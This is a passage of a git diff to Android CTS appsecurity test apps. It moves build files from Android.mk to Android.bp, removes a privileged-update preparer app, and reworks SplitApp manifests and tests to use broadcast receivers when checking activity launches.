-<!-- Copyright (C) 2019 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.privilegedupdate.preparer">
-
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.privilegedupdate.preparer" />
-
-</manifest>
-
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/src/com/android/cts/privilegedupdate/preparer/PrivilegedUpdateTestPreparer.java b/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/src/com/android/cts/privilegedupdate/preparer/PrivilegedUpdateTestPreparer.java
deleted file mode 100644
index ffdaf3a..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/src/com/android/cts/privilegedupdate/preparer/PrivilegedUpdateTestPreparer.java
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.privilegedupdate.preparer;
-
-import android.app.Instrumentation;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-@RunWith(JUnit4.class)
-public class PrivilegedUpdateTestPreparer {
-    /** Package name of the privileged CTS shim */
-    private static final String PRIVILEGED_SHIM_PKG = "com.android.cts.priv.ctsshim";
-
-    @Test
-    public void getTargetSdk() throws Exception {
-        final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
-        final PackageManager pm = inst.getContext().getPackageManager();
-        final PackageInfo pi = pm.getPackageInfo(PRIVILEGED_SHIM_PKG, 0);
-        final Bundle targetSdkBundle = new Bundle();
-        targetSdkBundle.putString("target_sdk", Integer.toString(pi.applicationInfo.targetSdkVersion));
-        inst.sendStatus(2, targetSdkBundle);
-    }
-}
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp
new file mode 100644
index 0000000..bec00bd
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsReadExternalStorageApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: [
+        "androidx.test.rules",
+        "CtsExternalStorageTestLib",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
deleted file mode 100644
index 1ecc5a4..0000000
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
-
-LOCAL_PACKAGE_NAME := CtsReadExternalStorageApp
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.bp b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.bp
new file mode 100644
index 0000000..12c97ad
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSharedUidInstall",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // sign this app with a different cert than CtsSharedUidInstallDiffCert
+    certificate: ":cts-testkey1",
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
deleted file mode 100644
index 331dc2e..0000000
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_PACKAGE_NAME := CtsSharedUidInstall
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# sign this app with a different cert than CtsSharedUidInstallDiffCert
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.bp
new file mode 100644
index 0000000..ad3fa30
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSharedUidInstallDiffCert",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // sign this app with a different cert than CtsSharedUidInstall
+    certificate: ":cts-testkey2",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
deleted file mode 100644
index 9dc335e..0000000
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_PACKAGE_NAME := CtsSharedUidInstallDiffCert
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# sign this app with a different cert than CtsSharedUidInstall
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.bp b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.bp
new file mode 100644
index 0000000..ff13923
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSimpleAppInstall",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // sign this app with a different cert than CtsSimpleAppInstallDiffCert
+    certificate: ":cts-testkey1",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
deleted file mode 100644
index 13a0b63..0000000
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_PACKAGE_NAME := CtsSimpleAppInstall
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# sign this app with a different cert than CtsSimpleAppInstallDiffCert
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/AndroidManifest.xml
index 247617e..942cae0 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/AndroidManifest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.simpleappinstall">
+       package="com.android.cts.simpleappinstall"
+       android:targetSandboxVersion="2">
 
     <!--
     A simple app to test that apps cannot be installed over existing app with
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.bp
new file mode 100644
index 0000000..a427def
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSimpleAppInstallDiffCert",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // sign this app with a different cert than CtsSimpleAppInstall
+    certificate: ":cts-testkey2",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
deleted file mode 100644
index 21e83c2..0000000
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_PACKAGE_NAME := CtsSimpleAppInstallDiffCert
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# sign this app with a different cert than CtsSimpleAppInstall
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/AndroidManifest.xml
index da48194..1491d9c 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/AndroidManifest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.simpleappinstall">
+       package="com.android.cts.simpleappinstall"
+       android:targetSandboxVersion="2">
 
     <!--
     A simple second app to test that apps cannot be installed over existing app
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
index 0e77a2d..56fc267 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
@@ -27,10 +27,11 @@
 
 LOCAL_PACKAGE_NAME := CtsSplitApp
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 4
 LOCAL_PACKAGE_SPLITS := mdpi-v4 hdpi-v4 xhdpi-v4 xxhdpi-v4 v7 fr de
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
 
@@ -40,7 +41,7 @@
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
-LOCAL_SDK_VERSION := test_current
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
@@ -62,7 +63,7 @@
 LOCAL_PACKAGE_SPLITS := v7
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MANIFEST_FILE := revision/AndroidManifest.xml
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
@@ -71,8 +72,6 @@
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
-LOCAL_SDK_VERSION := test_current
-
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
 
@@ -93,7 +92,7 @@
 LOCAL_PACKAGE_SPLITS := v7
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 LOCAL_AAPT_FLAGS := --version-code 101 --version-name OneHundredOne --replace-version
@@ -101,8 +100,6 @@
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
-LOCAL_SDK_VERSION := test_current
-
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
 
@@ -123,7 +120,7 @@
 LOCAL_PACKAGE_SPLITS := v7
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
@@ -131,8 +128,6 @@
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
-LOCAL_SDK_VERSION := test_current
-
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
 
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
index cb01d2b..1963989 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
@@ -17,16 +17,15 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="com.android.cts.splitapp"
     android:targetSandboxVersion="2">
-
     <!-- TODO(b/73365611) Remove targetSdkVersion once EncryptionApp tests
          are fixed to no longer access SplitApp's data by path. -->
-    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="27" />
+    <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="27" />
 
     <uses-permission android:name="android.permission.CAMERA" />
     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
 
     <application android:label="SplitApp">
-        <activity android:name=".MyActivity" android:visibleToInstantApps="true">
+        <activity android:name=".MyActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
index 46abb3c..736c891 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
@@ -32,11 +32,9 @@
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
-featureOf := CtsSplitApp
-featureOfApk := $(call intermediates-dir-for,APPS,$(featureOf))/package.apk
-localRStamp := $(call intermediates-dir-for,APPS,$(LOCAL_PACKAGE_NAME),,COMMON)/src/R.stamp
-$(localRStamp): $(featureOfApk)
-
-LOCAL_AAPT_FLAGS += --feature-of $(featureOfApk)
+LOCAL_USE_AAPT2 := true
+LOCAL_APK_LIBRARIES := CtsSplitApp
+LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
+LOCAL_AAPT_FLAGS += --package-id 0x80 --rename-manifest-package com.android.cts.splitapp
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
index 8ba3c2f..04a6c80 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
@@ -16,7 +16,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
-        featureName="feature">
+        split="feature">
 
     <!-- New permission should be ignored -->
     <uses-permission android:name="android.permission.INTERNET" />
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
index d2bd1da..bf793be 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
@@ -16,8 +16,8 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
-        android:revisionCode="12"
-        android:targetSandboxVersion="2">
+        android:targetSandboxVersion="2"
+        android:revisionCode="12">
 
     <uses-permission android:name="android.permission.CAMERA" />
 
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/MyActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/MyActivity.java
index cc875bd..9b9f01c 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/MyActivity.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/MyActivity.java
@@ -17,12 +17,6 @@
 package com.android.cts.splitapp;
 
 import android.app.Activity;
-import android.os.Bundle;
 
 public class MyActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        finish();
-    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
index 3288aca..de7c837 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
@@ -19,8 +19,10 @@
 import static org.xmlpull.v1.XmlPullParser.END_DOCUMENT;
 import static org.xmlpull.v1.XmlPullParser.START_TAG;
 
+import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
@@ -34,10 +36,8 @@
 import android.graphics.Canvas;
 import android.graphics.drawable.Drawable;
 import android.net.Uri;
-import android.os.Bundle;
 import android.os.ConditionVariable;
 import android.os.Environment;
-import android.os.RemoteCallback;
 import android.system.Os;
 import android.system.StructStat;
 import android.test.AndroidTestCase;
@@ -45,6 +45,8 @@
 import android.util.DisplayMetrics;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 
@@ -233,8 +235,10 @@
         assertEquals("base", getXmlTestValue(r.getXml(R.xml.my_activity_meta)));
 
         // And that we can access resources from feature
-        assertEquals("red", r.getString(r.getIdentifier("feature_string", "string", PKG)));
-        assertEquals(123, r.getInteger(r.getIdentifier("feature_integer", "integer", PKG)));
+        assertEquals("red", r.getString(r.getIdentifier(
+                "com.android.cts.splitapp.feature:feature_string", "string", PKG)));
+        assertEquals(123, r.getInteger(r.getIdentifier(
+                "com.android.cts.splitapp.feature:feature_integer", "integer", PKG)));
 
         final Class<?> featR = Class.forName("com.android.cts.splitapp.FeatureR");
         final int boolId = (int) featR.getDeclaredField("feature_receiver_enabled").get(null);
@@ -305,8 +309,39 @@
         }
     }
 
+    private Intent createLaunchIntent() {
+        final boolean isInstant = Boolean.parseBoolean(
+                InstrumentationRegistry.getArguments().getString("is_instant", "false"));
+        if (isInstant) {
+            final Intent i = new Intent(Intent.ACTION_VIEW);
+            i.addCategory(Intent.CATEGORY_BROWSABLE);
+            i.setData(Uri.parse("https://cts.android.com/norestart"));
+            i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            return i;
+        } else {
+            final Intent i = new Intent("com.android.cts.norestart.START");
+            i.addCategory(Intent.CATEGORY_DEFAULT);
+            i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            return i;
+        }
+    }
+
     public void testBaseInstalled() throws Exception {
-        launchBaseActivity(1, 0);
+        final ConditionVariable cv = new ConditionVariable();
+        final BroadcastReceiver r = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                assertEquals(1, intent.getIntExtra("CREATE_COUNT", -1));
+                assertEquals(0, intent.getIntExtra("NEW_INTENT_COUNT", -1));
+                cv.open();
+            }
+        };
+        final IntentFilter filter = new IntentFilter("com.android.cts.norestart.BROADCAST");
+        getContext().registerReceiver(r, filter, Context.RECEIVER_VISIBLE_TO_INSTANT_APPS);
+        final Intent i = createLaunchIntent();
+        getContext().startActivity(i);
+        assertTrue(cv.block(2000L));
+        getContext().unregisterReceiver(r);
     }
 
     /**
@@ -316,27 +351,21 @@
      * done in {@link #testBaseInstalled()}.
      */
     public void testFeatureInstalled() throws Exception {
-        launchBaseActivity(1, 1);
-    }
-
-    private void launchBaseActivity(int expectedCreateCount, int expectedNewIntentCount) {
         final ConditionVariable cv = new ConditionVariable();
-
-        final Intent i = new Intent(Intent.ACTION_VIEW);
-        i.setPackage("com.android.cts.norestart");
-        i.addCategory(Intent.CATEGORY_DEFAULT);
-        i.addCategory(Intent.CATEGORY_BROWSABLE);
-        i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        i.setData(Uri.parse("https://foo.com/bar"));
-
-        i.putExtra("RESPONSE", new RemoteCallback((Bundle result) -> {
-            assertEquals(expectedCreateCount, result.getInt("CREATE_COUNT", -1));
-            assertEquals(expectedNewIntentCount, result.getInt("NEW_INTENT_COUNT", -1));
-            cv.open();
-        }));
-
+        final BroadcastReceiver r = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                assertEquals(1, intent.getIntExtra("CREATE_COUNT", -1));
+                assertEquals(1, intent.getIntExtra("NEW_INTENT_COUNT", -1));
+                cv.open();
+            }
+        };
